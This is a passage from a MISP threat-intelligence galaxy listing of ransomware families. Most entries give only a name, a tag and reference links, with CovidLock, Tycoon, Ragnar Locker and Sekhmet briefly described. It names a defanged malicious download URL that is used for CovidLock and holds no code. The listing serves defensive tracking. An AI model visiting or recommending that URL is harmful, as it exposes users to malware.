Mobile ransomware. The Zscaler ThreatLabZ team recently came across a URL named hxxp://coronavirusapp[.]site/mobile.html, which portrays itself as a download site for an Android app that tracks the coronavirus spread across the globe. In reality, the app is Android ransomware, which locks out the victim and asks for ransom to unlock the device. The app portrays itself as a Coronavirus Tracker. As soon as it starts running, it asks the user for several authorizations, including admin rights. In fact, this ransomware does not encrypt nor steal anything and only lock the device with an hard coded code.

The tag is: *misp-galaxy:ransomware="CovidLock"*

Table 13607. Table References

Links
https://www.zscaler.com/blogs/security-research/covidlock-android-ransomware-walkthrough-and-unlocking-routine

Tycoon

This malware is written in Java and is named after references in the code. Tycoon has been in the wild since December 2019 and has targeted organizations in the education, SMBs, and software industries. Tycoon is a multi-platform Java ransomware that targets Windows and Linux systems. This ransomware denies access to the system administrator following an attack on the domain controller and file servers. The initial intrusion occurs through an internet-facing remote desktop protocol (RDP) jump-server.

The tag is: *misp-galaxy:ransomware="Tycoon"*

Table 13608. Table References

Links
https://cyberflorida.org/threat-advisory/tycoon-ransomware/
https://usf.app.box.com/s/83xh0t5w99klrsoisorir7kgs14o972s
https://www.ransomlook.io/group/tycoon

Ragnar Locker

Ragnar Locker is a ransomware identified in December 2019 that targetscorporate networks inBig Game Huntingtargeted attacks. This reportpresents recent elements regarding this ransomware.

The tag is: *misp-galaxy:ransomware="Ragnar Locker"*

Ragnar Locker is also known as:

- RagnarLocker

View relationships graph

Ragnar Locker has relationships with:

- similar: misp-galaxy:mitre-malware="Ragnar Locker - S0481" with estimative-language:likelihood-probability="likely"

Table 13609. Table References

Links
https://www.bleepingcomputer.com/news/security/ragnar-locker-ransomware-targets-msp-enterprise-support-tools/
https://news.sophos.com/en-us/2020/05/21/ragnar-locker-ransomware-deploys-virtual-machine-to-dodge-security/
https://www.cybersecurity-insiders.com/ransomware-attack-makes-cwt-pay-4-5-million-in-bitcoins-to-hackers/
https://news.sophos.com/en-us/2020/05/21/ragnar-locker-ransomware-deploys-virtual-machine-to-dodge-security

https://www.bleepingcomputer.com/news/security/ransomware-gang-threatens-to-leak-data-if-victim-contacts-fbi-police

https://twitter.com/malwrhunterteam/status/1475568201673105409

https://www.trellix.com/en-us/about/newsroom/stories/threat-labs/analysis-and-protections-for-ragnarlocker-ransomware.html

http://reversing.fun/posts/2021/04/15/unpacking_ragnarlocker_via_emulation.html

http://reversing.fun/reversing/2021/04/15/unpacking_ragnarlocker_via_emulation.html

https://analyst1.com/blog/ransom-mafia-analysis-of-the-worlds-first-ransomware-cartel

https://analyst1.com/file-assets/RANSOM-MAFIA-ANALYSIS-OF-THE-WORLD%E2%80%99S-FIRST-RANSOMWARE-CARTEL.pdf

https://blog.blazeinfosec.com/dissecting-ragnar-locker-the-case-of-edp/

https://blog.bushidotoken.net/2022/05/gamer-cheater-hacker-spy.html

https://blog.cyble.com/2022/01/20/deep-dive-into-ragnar-locker-ransomware-gang/

https://blog.reversing.xyz/docs/posts/unpacking_ragnarlocker_via_emulation/

https://blog.reversing.xyz/reversing/2021/04/15/unpacking_ragnarlocker_via_emulation.html

https://cyware.com/news/ragnar-locker-breached-52-organizations-and-counting-fbi-warns-0588d220/

https://docs.google.com/spreadsheets/d/1MI8Z2tBhmqQ5X8Wf_ozv3dVjz5sJOs-3

https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf

https://ics-cert.kaspersky.com/media/KASPERSKY_H1_2020_ICS_REPORT_EN.pdf

https://id-ransomware.blogspot.com/2020/02/ragnarlocker-ransomware.html

https://intel471.com/blog/conti-ransomware-cooperation-maze-lockbit-ragnar-locker

https://ke-la.com/how-ransomware-gangs-find-new-monetization-schemes-and-evolve-in-marketing/

https://krebsonsecurity.com/2020/11/ransomware-group-turns-to-facebook-ads/

https://news.sophos.com/en-us/2021/02/03/mtr-casebook-uncovering-a-backdoor-implant-in-a-solarwinds-orion-server/

https://news.sophos.com/en-us/2022/03/17/the-ransomware-threat-intelligence-center/

https://public.intel471.com/blog/ransomware-as-a-service-2020-ryuk-maze-revil-egregor-doppelpaymer/

https://securelist.com/modern-ransomware-groups-ttps/106824/

https://securelist.com/targeted-ransomware-encrypting-data/99255/

https://seguranca-informatica.pt/ragnar-locker-malware-analysis/

https://symantec.broadcom.com/hubfs/The_Ransomware_Threat_September_2021.pdf

https://twitter.com/AltShiftPrtScn/status/1403707430765273095

https://www.accenture.com/us-en/blogs/cyber-defense/evolving-danger-ransomware-extortion

https://www.accenture.com/us-en/blogs/cyber-defense/moving-left-ransomware-boom
https://www.acronis.com/en-sg/articles/ragnar-locker/
https://www.bleepingcomputer.com/news/security/capcom-hit-by-ragnar-locker-ransomware-1tb-allegedly-stolen/
https://www.bleepingcomputer.com/news/security/fbi-ransomware-gang-breached-52-us-critical-infrastructure-orgs/
https://www.bleepingcomputer.com/news/security/japanese-game-dev-capcom-hit-by-cyberattack-business-impacted/
https://www.bleepingcomputer.com/news/security/ragnarlocker-ransomware-hits-edp-energy-giant-asks-for-10m/
https://www.capcom.co.jp/ir/english/news/pdf/e210413.pdf
https://www.crowdstrike.com/blog/double-trouble-ransomware-data-leak-extortion-part-1
https://www.crowdstrike.com/blog/double-trouble-ransomware-data-leak-extortion-part-1/
https://www.cyborgsecurity.com/cyborg_labs/hunting-ransomware-inhibiting-system-backup-or-recovery/
https://www.hornetsecurity.com/en/security-informationen-en/leakware-ransomware-hybrid-attacks/
https://www.ic3.gov/Media/News/2022/220307.pdf
https://www.mcafee.com/blogs/other-blogs/mcafee-labs/ragnarlocker-ransomware-threatens-to-release-confidential-information
https://www.microsoft.com/security/blog/2020/04/28/ransomware-groups-continue-to-target-healthcare-critical-services-heres-how-to-reduce-risk/
https://www.theregister.com/2022/03/09/fbi_says_ragnar_locker_ransomware/
https://www.waterisac.org/system/files/articles/FLASH-MU-000140-MW.pdf
https://www.zdnet.com/article/capcom-quietly-discloses-cyberattack-impacting-email-file-servers/
https://www.ransomlook.io/group/ragnarlocker

Sekhmet

Ransom.Sekhmet not only encrypts a victims files, but also threatens to publish them.

The tag is: *misp-galaxy:ransomware="Sekhmet"*

View relationships graph

Sekhmet has relationships with:

- similar: misp-galaxy:ransomware="Egregor" with estimative-language:likelihood-probability="likely"

Table 13610. Table References

Links
https://www.bleepingcomputer.com/news/security/maze-ransomware-is-shutting-down-its-cybercrime-operation/
https://www.zdnet.com/article/as-maze-ransomware-group-retires-clients-turn-to-sekhmet-ransomware-spin-off-egregor/
https://blog.malwarebytes.com/detections/ransom-sekhmet/
https://securityboulevard.com/2020/10/egregor-sekhmets-cousin/
https://www.ransomlook.io/group/sekhmet

$$$

Ransomware

The tag is: *misp-galaxy:ransomware="$$$"*

$ucyLocker

Ransomware

The tag is: *misp-galaxy:ransomware="$ucyLocker"*

10001

Ransomware

The tag is: *misp-galaxy:ransomware="10001"*

05250lock

Ransomware

The tag is: *misp-galaxy:ransomware="05250lock"*

0kilobypt

Ransomware

The tag is: *misp-galaxy:ransomware="0kilobypt"*

1337-Locker

Ransomware

The tag is: *misp-galaxy:ransomware="1337-Locker"*

24H

Ransomware

The tag is: *misp-galaxy:ransomware="24H"*

3nCRY

Ransomware

The tag is: *misp-galaxy:ransomware="3nCRY"*

4rw5w

Ransomware

The tag is: *misp-galaxy:ransomware="4rw5w"*

5ss5c(5ss5cCrypt)

Ransomware

The tag is: *misp-galaxy:ransomware="5ss5c(5ss5cCrypt)"*

777(Legion)

Ransomware

The tag is: *misp-galaxy:ransomware="777(Legion)"*

7h9r

Ransomware

The tag is: *misp-galaxy:ransomware="7h9r"*

7z Portuguese

Ransomware

The tag is: *misp-galaxy:ransomware="7z Portuguese"*

AAC

Ransomware

The tag is: *misp-galaxy:ransomware="AAC"*

ABCLocker

Ransomware

The tag is: *misp-galaxy:ransomware="ABCLocker"*

Adonis

Ransomware

The tag is: *misp-galaxy:ransomware="Adonis"*

AepCrypt

Ransomware

The tag is: *misp-galaxy:ransomware="AepCrypt"*

AES-Matrix

Ransomware

The tag is: *misp-galaxy:ransomware="AES-Matrix"*

AES-NI: April Edition

Ransomware

The tag is: *misp-galaxy:ransomware="AES-NI: April Edition"*

Afrodita

Ransomware

The tag is: *misp-galaxy:ransomware="Afrodita"*

Alco

Ransomware

The tag is: *misp-galaxy:ransomware="Alco"*

AllCry

Ransomware

The tag is: *misp-galaxy:ransomware="AllCry"*

AlldataLocker

Ransomware

The tag is: *misp-galaxy:ransomware="AlldataLocker"*

Amnesia

Ransomware

The tag is: *misp-galaxy:ransomware="Amnesia"*

Table 13611. Table References

Links
https://www.ransomlook.io/group/amnesia
https://elastio.com/amnesia/
https://elastio.com/detectable-ransomware/amnesia-2/
https://www.sonicwall.com/blog/amnesia-ransomware-continues-high-payment-trend-july-21-2017
https://www.emsisoft.com/en/ransomware-decryption/amnesia2/

Amnesia-2

Ransomware

The tag is: *misp-galaxy:ransomware="Amnesia-2"*

Anatova

Ransomware

The tag is: *misp-galaxy:ransomware="Anatova"*

AnDROid

Ransomware

The tag is: *misp-galaxy:ransomware="AnDROid"*

AngryKite

Ransomware

The tag is: *misp-galaxy:ransomware="AngryKite"*

AnimusLocker

Ransomware

The tag is: *misp-galaxy:ransomware="AnimusLocker"*

Annabelle

Ransomware

The tag is: *misp-galaxy:ransomware="Annabelle"*

Annabelle 2.1

Ransomware

The tag is: *misp-galaxy:ransomware="Annabelle 2.1"*

AnonCrack

Ransomware

The tag is: *misp-galaxy:ransomware="AnonCrack"*

AnonPop

Ransomware

The tag is: *misp-galaxy:ransomware="AnonPop"*

AnteFrigus

Ransomware

The tag is: *misp-galaxy:ransomware="AnteFrigus"*

Anti-DDos

Ransomware

The tag is: *misp-galaxy:ransomware="Anti-DDos"*

Antihacker2017

Ransomware

The tag is: *misp-galaxy:ransomware="Antihacker2017"*

Anubi NotBTCWare

Ransomware

The tag is: *misp-galaxy:ransomware="Anubi NotBTCWare"*

Apocalypse-Missing

Ransomware

The tag is: *misp-galaxy:ransomware="Apocalypse-Missing"*

ApolloLocker

Ransomware

The tag is: *misp-galaxy:ransomware="ApolloLocker"*

Argus

Ransomware

The tag is: *misp-galaxy:ransomware="Argus"*

Armage

Ransomware

The tag is: *misp-galaxy:ransomware="Armage"*

Armageddon

Ransomware

The tag is: *misp-galaxy:ransomware="Armageddon"*

ArmaLocky

Ransomware

The tag is: *misp-galaxy:ransomware="ArmaLocky"*

Arsium

Ransomware

The tag is: *misp-galaxy:ransomware="Arsium"*

Assembly

Ransomware

The tag is: *misp-galaxy:ransomware="Assembly"*

Ataware

Ransomware

The tag is: *misp-galaxy:ransomware="Ataware"*

Atchbo

Ransomware

The tag is: *misp-galaxy:ransomware="Atchbo"*

ATLAS

Ransomware

The tag is: *misp-galaxy:ransomware="ATLAS"*

Australian-AES

Ransomware

The tag is: *misp-galaxy:ransomware="Australian-AES"*

AutoEncryptor

Ransomware

The tag is: *misp-galaxy:ransomware="AutoEncryptor"*

AutoWannaCryV2

Ransomware

The tag is: *misp-galaxy:ransomware="AutoWannaCryV2"*

Auuahk-Ouuohk

Ransomware

The tag is: *misp-galaxy:ransomware="Auuahk-Ouuohk"*

AVCrypt

Ransomware

The tag is: *misp-galaxy:ransomware="AVCrypt"*

AxCrypter

Ransomware

The tag is: *misp-galaxy:ransomware="AxCrypter"*

aZaZeL

Ransomware

The tag is: *misp-galaxy:ransomware="aZaZeL"*

BadEncript

Ransomware

The tag is: *misp-galaxy:ransomware="BadEncript"*

Balbaz

Ransomware

The tag is: *misp-galaxy:ransomware="Balbaz"*

Baliluware

Ransomware

The tag is: *misp-galaxy:ransomware="Baliluware"*

Bam!

Ransomware

The tag is: *misp-galaxy:ransomware="Bam!"*

BananaCrypt

Ransomware

The tag is: *misp-galaxy:ransomware="BananaCrypt"*

BancoCrypt HT

Ransomware

The tag is: *misp-galaxy:ransomware="BancoCrypt HT"*

Barack Obama’s EBBV

Ransomware

The tag is: *misp-galaxy:ransomware="Barack Obama’s EBBV"*

Basilisque Locker

Ransomware

The tag is: *misp-galaxy:ransomware="Basilisque Locker"*

BASS-FES

Ransomware

The tag is: *misp-galaxy:ransomware="BASS-FES"*

BB

Ransomware

The tag is: *misp-galaxy:ransomware="BB"*

BeethoveN

Ransomware

The tag is: *misp-galaxy:ransomware="BeethoveN"*

BestChangeRu

Ransomware

The tag is: *misp-galaxy:ransomware="BestChangeRu"*

BigBossHorse

Ransomware

The tag is: *misp-galaxy:ransomware="BigBossHorse"*

Birbware

Ransomware

The tag is: *misp-galaxy:ransomware="Birbware"*

BitCrypt

Ransomware

The tag is: *misp-galaxy:ransomware="BitCrypt"*

BitCrypt 2.0

Ransomware

The tag is: *misp-galaxy:ransomware="BitCrypt 2.0"*

BitKangoroo

Ransomware

The tag is: *misp-galaxy:ransomware="BitKangoroo"*

BitPyLock

Ransomware

The tag is: *misp-galaxy:ransomware="BitPyLock"*

Bitshifter

Ransomware

The tag is: *misp-galaxy:ransomware="Bitshifter"*

BKRansomware

Ransomware

The tag is: *misp-galaxy:ransomware="BKRansomware"*

Black Feather

Ransomware

The tag is: *misp-galaxy:ransomware="Black Feather"*

BlackFireEye

Ransomware

The tag is: *misp-galaxy:ransomware="BlackFireEye"*

BlackHat-Mehtihack

Ransomware

The tag is: *misp-galaxy:ransomware="BlackHat-Mehtihack"*

BlackKingdom

Ransomware

The tag is: *misp-galaxy:ransomware="BlackKingdom"*

BlackMist

Ransomware

The tag is: *misp-galaxy:ransomware="BlackMist"*

Blackout

Ransomware

The tag is: *misp-galaxy:ransomware="Blackout"*

Table 13612. Table References

Links
https://www.ransomlook.io/group/blackout
https://www.watchguard.com/wgrd-security-hub/ransomware-tracker/blackout

BlackPink

Ransomware

The tag is: *misp-galaxy:ransomware="BlackPink"*

BlackRose

Ransomware

The tag is: *misp-galaxy:ransomware="BlackRose"*

BlackSheep

Ransomware

The tag is: *misp-galaxy:ransomware="BlackSheep"*

Black Worm

Ransomware

The tag is: *misp-galaxy:ransomware="Black Worm"*

Blank

Ransomware

The tag is: *misp-galaxy:ransomware="Blank"*

Blind

Ransomware

The tag is: *misp-galaxy:ransomware="Blind"*

Blitzkrieg

Ransomware

The tag is: *misp-galaxy:ransomware="Blitzkrieg"*

BlockFile12

Ransomware

The tag is: *misp-galaxy:ransomware="BlockFile12"*

BloodJaws

Ransomware

The tag is: *misp-galaxy:ransomware="BloodJaws"*

Blooper

Ransomware

The tag is: *misp-galaxy:ransomware="Blooper"*

BlueCheeser

Ransomware

The tag is: *misp-galaxy:ransomware="BlueCheeser"*

Bluerose

Ransomware

The tag is: *misp-galaxy:ransomware="Bluerose"*

BOK

Ransomware

The tag is: *misp-galaxy:ransomware="BOK"*

BoooamCrypt

Ransomware

The tag is: *misp-galaxy:ransomware="BoooamCrypt"*

BooM

Ransomware

The tag is: *misp-galaxy:ransomware="BooM"*

Boris HT

Ransomware

The tag is: *misp-galaxy:ransomware="Boris HT"*

BrainLag

Ransomware

The tag is: *misp-galaxy:ransomware="BrainLag"*

BRansomware

Ransomware

The tag is: *misp-galaxy:ransomware="BRansomware"*

Brick

Ransomware

The tag is: *misp-galaxy:ransomware="Brick"*

BrickR

Ransomware

The tag is: *misp-galaxy:ransomware="BrickR"*

BtcKING

Ransomware

The tag is: *misp-galaxy:ransomware="BtcKING"*

BTCWare-Aleta

Ransomware

The tag is: *misp-galaxy:ransomware="BTCWare-Aleta"*

BTCWare-Gryphon

Ransomware

The tag is: *misp-galaxy:ransomware="BTCWare-Gryphon"*

BTCWare-Master

Ransomware

The tag is: *misp-galaxy:ransomware="BTCWare-Master"*

BTCWare-Nuclear

Ransomware

The tag is: *misp-galaxy:ransomware="BTCWare-Nuclear"*

BTCWare-Onyon

Ransomware

The tag is: *misp-galaxy:ransomware="BTCWare-Onyon"*

BTCWare-PayDay

Ransomware

The tag is: *misp-galaxy:ransomware="BTCWare-PayDay"*

BTCWare-Wyvern

Ransomware

The tag is: *misp-galaxy:ransomware="BTCWare-Wyvern"*

Bud

Ransomware

The tag is: *misp-galaxy:ransomware="Bud"*

BugWare

Ransomware

The tag is: *misp-galaxy:ransomware="BugWare"*

BulbaCrypt HT

Ransomware

The tag is: *misp-galaxy:ransomware="BulbaCrypt HT"*

BWall

Ransomware

The tag is: *misp-galaxy:ransomware="BWall"*

C0hen Locker

Ransomware

The tag is: *misp-galaxy:ransomware="C0hen Locker"*

CA$HOUT

Ransomware

The tag is: *misp-galaxy:ransomware="CA$HOUT"*

CainXPii

Ransomware

The tag is: *misp-galaxy:ransomware="CainXPii"*

Cephalo

Ransomware

The tag is: *misp-galaxy:ransomware="Cephalo"*

Cerberos

Ransomware

The tag is: *misp-galaxy:ransomware="Cerberos"*

Charmant

Ransomware

The tag is: *misp-galaxy:ransomware="Charmant"*

Chekyshka

Ransomware

The tag is: *misp-galaxy:ransomware="Chekyshka"*

ChernoLocker

Ransomware

The tag is: *misp-galaxy:ransomware="ChernoLocker"*

ChinaYunLong

Ransomware

The tag is: *misp-galaxy:ransomware="ChinaYunLong"*

Christmas

Ransomware

The tag is: *misp-galaxy:ransomware="Christmas"*

ClicoCrypter

Ransomware

The tag is: *misp-galaxy:ransomware="ClicoCrypter"*

ClicoCrypter-2

Ransomware

The tag is: *misp-galaxy:ransomware="ClicoCrypter-2"*

Clouded

Ransomware

The tag is: *misp-galaxy:ransomware="Clouded"*

Cmd

Ransomware

The tag is: *misp-galaxy:ransomware="Cmd"*

Codemanager

Ransomware

The tag is: *misp-galaxy:ransomware="Codemanager"*

Coin Locker

Ransomware

The tag is: *misp-galaxy:ransomware="Coin Locker"*

Comrade HT

Ransomware

The tag is: *misp-galaxy:ransomware="Comrade HT"*

CoNFicker

Ransomware

The tag is: *misp-galaxy:ransomware="CoNFicker"*

Coom

Ransomware

The tag is: *misp-galaxy:ransomware="Coom"*

CorruptCrypt

Ransomware

The tag is: *misp-galaxy:ransomware="CorruptCrypt"*

Creeper

Ransomware

The tag is: *misp-galaxy:ransomware="Creeper"*

Creepy

Ransomware

The tag is: *misp-galaxy:ransomware="Creepy"*

Cripton

Ransomware

The tag is: *misp-galaxy:ransomware="Cripton"*

Cripton7zp

Ransomware

The tag is: *misp-galaxy:ransomware="Cripton7zp"*

Cry36

Ransomware

The tag is: *misp-galaxy:ransomware="Cry36"*

Cry9

Ransomware

The tag is: *misp-galaxy:ransomware="Cry9"*

CryCipher

Ransomware

The tag is: *misp-galaxy:ransomware="CryCipher"*

CryCipher is also known as:

- PayPalGenerator2019

CryForMe

Ransomware

The tag is: *misp-galaxy:ransomware="CryForMe"*

Crying

Ransomware

The tag is: *misp-galaxy:ransomware="Crying"*

CryMore

Ransomware

The tag is: *misp-galaxy:ransomware="CryMore"*

Cryp70n1c

Ransomware

The tag is: *misp-galaxy:ransomware="Cryp70n1c"*

Crypt0 HT

Ransomware

The tag is: *misp-galaxy:ransomware="Crypt0 HT"*

Crypt0

Ransomware

The tag is: *misp-galaxy:ransomware="Crypt0"*

Crypt0L0cker

Ransomware

The tag is: *misp-galaxy:ransomware="Crypt0L0cker"*

Crypt0r

Ransomware

The tag is: *misp-galaxy:ransomware="Crypt0r"*

Crypt12

Ransomware

The tag is: *misp-galaxy:ransomware="Crypt12"*

CryptFuck

Ransomware

The tag is: *misp-galaxy:ransomware="CryptFuck"*

CryptGh0st

Ransomware

The tag is: *misp-galaxy:ransomware="CryptGh0st"*

Crypto_Lab

Ransomware

The tag is: *misp-galaxy:ransomware="Crypto_Lab"*

CryptoApp

Ransomware

The tag is: *misp-galaxy:ransomware="CryptoApp"*

Crypto-Blocker

Ransomware

The tag is: *misp-galaxy:ransomware="Crypto-Blocker"*

CryptoBoss

Ransomware

The tag is: *misp-galaxy:ransomware="CryptoBoss"*

CryptoCat

Ransomware

The tag is: *misp-galaxy:ransomware="CryptoCat"*

CryptoClone

Ransomware

The tag is: *misp-galaxy:ransomware="CryptoClone"*

CryptoDark

Ransomware

The tag is: *misp-galaxy:ransomware="CryptoDark"*

CryptoGod 2017

Ransomware

The tag is: *misp-galaxy:ransomware="CryptoGod 2017"*

CryptoGod 2018

Ransomware

The tag is: *misp-galaxy:ransomware="CryptoGod 2018"*

CryptoLite

Ransomware

The tag is: *misp-galaxy:ransomware="CryptoLite"*

CryptolockerEmulator

Ransomware

The tag is: *misp-galaxy:ransomware="CryptolockerEmulator"*

CryptoLockerEU 2016

Ransomware

The tag is: *misp-galaxy:ransomware="CryptoLockerEU 2016"*

CryptoManiac

Ransomware

The tag is: *misp-galaxy:ransomware="CryptoManiac"*

CryptoMix-0000

Ransomware

The tag is: *misp-galaxy:ransomware="CryptoMix-0000"*

View relationships graph

CryptoMix-0000 has relationships with:

- similar: misp-galaxy:ransomware="CryptoMix" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Arena" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Azer" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Backup" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-CK" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Coban" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-DLL" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Empty" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Error" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Exte" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="Cryptomix-FILE" with estimative-language:likelihood-probability="likely"

- similar: misp-galaxy:ransomware="CryptoMix-MOLE66" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Noob" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Ogonia" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Pirate" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Revenge" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="Cryptomix-SERVER" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Shark" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-System" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Tastylock" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Test" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Wallet" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="Cryptomix-WORK" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-x1881" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-XZZX" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Zayka" with estimative-language:likelihood-probability="likely"

CryptoMix-Arena

Ransomware

The tag is: *misp-galaxy:ransomware="CryptoMix-Arena"*

View relationships graph

CryptoMix-Arena has relationships with:

- similar: misp-galaxy:ransomware="CryptoMix" with estimative-language:likelihood-probability="likely"

- similar: misp-galaxy:ransomware="CryptoMix-0000" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Azer" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Backup" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-CK" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Coban" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-DLL" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Empty" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Error" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Exte" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="Cryptomix-FILE" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-MOLE66" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Noob" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Ogonia" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Pirate" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Revenge" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="Cryptomix-SERVER" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Shark" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-System" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Tastylock" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Test" with estimative-language:likelihood-probability="likely"

- similar: misp-galaxy:ransomware="CryptoMix-Wallet" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="Cryptomix-WORK" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-x1881" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-XZZX" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Zayka" with estimative-language:likelihood-probability="likely"

CryptoMix-Azer

Ransomware

The tag is: *misp-galaxy:ransomware="CryptoMix-Azer"*

View relationships graph

CryptoMix-Azer has relationships with:

- similar: misp-galaxy:ransomware="CryptoMix" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-0000" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Arena" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Backup" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-CK" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Coban" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-DLL" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Empty" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Error" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Exte" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="Cryptomix-FILE" with estimative-language:likelihood-probability="likely"

- similar: misp-galaxy:ransomware="CryptoMix-MOLE66" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Noob" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Ogonia" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Pirate" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Revenge" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="Cryptomix-SERVER" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Shark" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-System" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Tastylock" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Test" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Wallet" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="Cryptomix-WORK" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-x1881" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-XZZX" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Zayka" with estimative-language:likelihood-probability="likely"

CryptoMix-Backup

Ransomware

The tag is: *misp-galaxy:ransomware="CryptoMix-Backup"*

View relationships graph

CryptoMix-Backup has relationships with:

- similar: misp-galaxy:ransomware="CryptoMix" with estimative-language:likelihood-probability="likely"

- similar: misp-galaxy:ransomware="CryptoMix-0000" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Arena" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Azer" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-CK" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Coban" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-DLL" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Empty" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Error" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Exte" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="Cryptomix-FILE" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-MOLE66" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Noob" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Ogonia" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Pirate" with estimative-language:likelihood-probability="likely"
